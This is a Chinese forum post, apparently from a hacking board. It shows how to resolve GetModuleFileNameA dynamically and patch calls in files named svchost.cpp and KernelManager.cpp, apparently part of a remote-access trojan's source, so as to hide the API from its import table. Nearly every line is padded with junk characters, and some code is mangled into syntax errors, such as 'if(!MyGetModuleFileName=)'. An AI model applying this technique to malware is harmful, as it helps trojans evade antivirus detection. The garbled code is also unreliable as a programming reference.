[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记, ?1 p! L. n: ?  f7 z! w; {* {
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
( q# n  [; P7 [/ w; r* W----------------------------------------
0 S" p% z1 O" z- \" u+ v& u7 G1 n+ R) VDTDY.h：3 m, ]2 K. \: o
$ {/ F4 O+ O  \
#if _MSC_VER>10006 W7 \: T& d! V+ R+ @
#pragma once
3 O5 E- h1 f7 O6 B#endif //_MSC_VER>1000
3 y8 D+ P( j  }9 K# ?5 a#include<windows.h>  j. b* Y' ]. v+ q, f0 V% a7 i
/ D8 C, W2 G9 q! I  Y$ U
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
1 q3 Y% D: L$ G' s7 ]3 Pclass DTDY
% R8 f- B! r/ U% }& |8 ~; t{
; z& D$ a; [7 y# o: r( u4 k0 Fpublic:4 T  W7 J3 M1 M- e
DTDY();* X3 e' w5 Y0 X" V" x" L8 K/ w# A! ~
virtual ~DTDY();7 E3 I7 I( S9 @& q" n7 z
public:
# _, g8 q2 u6 A. X1 T/ Pstatic pGetModuleFileNameA MyGetModuleFileName;+ ^3 L# A; `# N8 ]  Q- ~9 l
static BOOL FunInitiallization();
) m. j2 P, D2 u};+ ?& E  C; z! M( ?% \1 Q3 d1 t8 x
#endif
+ g" e& A+ K( x& U3 R) a----------------------------------------
" @, ^: o; H5 F& V9 U
, z( o! u7 g8 }5 e( o. b/ tDTDY.cpp:
  O1 F4 I7 o# m; Q% o: Q" c
7 G4 M" f( @5 E0 e* M# |+ y#include "DTDY.h"; h9 L. B1 }1 [/ K2 X; b
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
1 C2 }* F! Z/ d1 ?! L5 aDTDY:TDY()
; u4 l& g- R, e# W{
1 b1 S; B& Y8 I/ o' b$ \$ V7 {}6 j6 ^, d% S, g. D9 V
DTDY::~DTDY()- O0 M# m& w9 r, x( |( o
{
1 p/ j+ E  _6 r7 y, y: \9 g( X: d}* I2 L5 W/ ~$ F8 A& c* B' q" n
BOOL DTDY::FunInitiallization()
) F: C" b# A4 m" P& ~3 o; ~0 F{
+ D3 g3 o: u. Y8 e" |' B' VHMODULE hModule=LoadLibrary("kernel32.dll");! d! ?- `! y& [% ~1 ~
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 l" _' {5 m/ B& `/ ~if(!MyGetModuleFileName=) return FALSE;/ l8 U% Z2 ~" ^: Y$ u0 h# [
7 d; ^2 V( h! C/ J
return TRUE;9 ^2 ]+ k* v& \4 @
}
+ ^' {; @4 D6 o' z  N9 c; y----------------------------------------
* }6 D& M7 |2 V$ Y+ Ksvchost.cpp:
; w4 t" D5 j& ^6 ^* p
6 v/ t# E+ Z8 P( `" T* s0 o#include "DTDY.h"
4 [* A2 q8 j4 Y; r3 }6 Y( n5 i0 u0 ^3 V/ e3 d
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved). ~& y5 E7 a7 K# A8 P
{
4 X7 w1 W: r6 N+ U. d/ z& lswitch(ul_reason_for_call)
# Q0 n6 C" ^- K{5 ^: c$ k! @6 |7 J6 D0 `2 ^
case DLL_PROCESS_ATTACH:
0 {4 s  X3 @# U! hif(!DTDY::FunInitiallization()) return FALSE;, y& `0 G' s- y! t$ S3 W
2 h- d' B' }. L2 E
break;+ `5 f  @) [3 H. c6 Z. m
}( h1 h$ L; M  H0 P
}* g+ d' ?' [+ f9 Q9 i- @5 w
0 T" u/ N- p) C! }4 ^8 \
( f- f3 [; j1 f9 N# }# K1 n
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
0 y( ]  G  T! `! f改写为
, H4 A/ o, P. a" Q3 a2 }7 L. _DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));; E" _3 s' B3 B" f
----------------------------------------
6 ^  B, y/ b2 V) `' g+ Y7 P" q" SKernelManager.cpp:
5 s- P: b" X" D# ^& D' M: n8 s
#include "../DTDY.h"
! w% q; M. k& lGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: C6 _. E3 R6 Y; J/ N
改写为
: O( ^( i% h. u' d( eDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));' s2 Z5 ~) Z7 q: G8 \
----------------------------------------